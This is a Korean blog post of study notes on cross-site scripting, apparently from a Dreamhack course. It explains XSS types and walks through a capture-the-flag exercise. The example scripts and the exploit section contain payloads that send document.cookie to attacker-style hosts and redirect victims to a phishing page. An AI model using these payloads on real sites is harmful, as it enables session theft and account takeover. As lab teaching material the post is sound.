[WEB] XSS

hack_98·2023년 3월 16일
0

WEB

목록 보기
3/4

1. ClientSide: XSS

1) XSS

  • 클라이언트 사이드 취약점 중 하나, 웹 리소스에 악성 스크립트를 삽입해 실행 가능
    • 이를 통해, 특정 계정의 세션정보 탈취하고 해당 계정으로 기능 수행 가능
  • SOP 보안 정책이 등장하면서 다른 오리진에서는 정보 읽는 행위가 불가능해졌지만,
    우회 하는 다양한 기술을 통해 XSS공격은 지속되고 있음

2) XSS 발생 예시와 종류

  • 이용자가 삽입한 내용을 출력하는 기능에서 발생 (게시물,댓글 등)
  • 웹 리소스를 이용자에게 보여줄 때 HTML,CSS,JS와 같은 코드가 포함된 게시물을 조회할 경우
    변조된 페이지를 보거나 스크립트가 실행 가능
  • XSS 종류
    Stored XSSXSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
    Reflected XSSXSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
    DOM-based XSSXSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSSFragment는 서버 요청/응답 에 포함되지 않습니다.
    Universal XSS클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

3) XSS 스크립트의 예시

<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing"; 
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

4) Stored XSS

  • 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS

5) Reflected XSS

  • 검색 문자열에 악성 스크립트가 포함되어 있다면 XSS 발생
  • 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야함
    • 악성 스크립트 포함 여부를 눈치챌 수 있기 때문에 Click Jacking 또는 Open Redirect 와 연계하여 사용


2. Exercise: XSS

1) 엔드포인트 분석

@app.route('/memo') # memo 페이지 라우팅
def memo(): # memo 함수 선언
    global memo_text # 메모를 전역변수로 참조
    text = request.args.get('memo', '') # 사용가 전송한 memo 입력값을 가져옴
    memo_text += text + '\n' # 사용가 전송한 memo 입력값을 memo_text에 추가
    return render_template('memo.html', memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력
def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True
    
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
    
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'
  • GET : 이용자에게 URL을 입력 받는 페이지를 제공
  • POST : param파라미터 값과 쿠키에 FLAG를 포함해 check_xss함수를 호출

2) 취약점 분석

  • 이용자의 입력 값을 페이지에 출력 할 때 주의사항
    • ‘render_template’ 함수를 사용해 출력 시 템플릿 변수를 기록 할 때 HTML 엔티티코드로 변환 해 저장하기 때문에 XSS가 발생하지 않음

3) 익스플로잇

  • 탈취한 쿠키를 전달 받기 위한 조건
    • 외부에서 접근 가능한 웹 서버를 사용

    • (문제의 memo) 엔드 포인트를 사용

      속성설명
      location.href전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값입니다.
      document.cookie해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값입니다.

4) 쿠키 탈취

  • memo 페이지 사용
<script>location.href = "/memo?memo=" + document.cookie;</script>
  • 웹 서버 사용
<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>
profile
Go Big or Go Home

0개의 댓글